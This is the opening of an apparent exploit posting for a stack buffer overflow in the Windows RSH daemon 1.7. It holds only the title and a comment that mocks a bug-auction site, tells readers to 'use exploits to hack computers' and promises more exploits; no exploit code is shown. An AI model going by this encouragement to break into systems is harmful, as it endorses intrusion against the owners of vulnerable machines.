Windows RSH daemon 1.7 Remote Buffer Overflow Exploit

                                                /*
Attached and in-line is an exploit for a newly announced item on
the WabiSabiLabi auction block. I hope this completely devalues the
item so that the original finder dies of starvation.

DON'T SELL BUGS THROUGH WABISABILABLA

USE EXPLOITS TO HACK COMPUTERS INSTEAD

Exploit is for a stack overflow in http://rshd.sourceforge.net. It
took about 35 minutes to find the bug and exploit it on Win2k3
using the information provided to the public by WabiSabiLabi.

Expect exploits for the rest of the auction items in the next week.
Mayber sooner if Simon @ snosoft.com stops trying to cyber with me
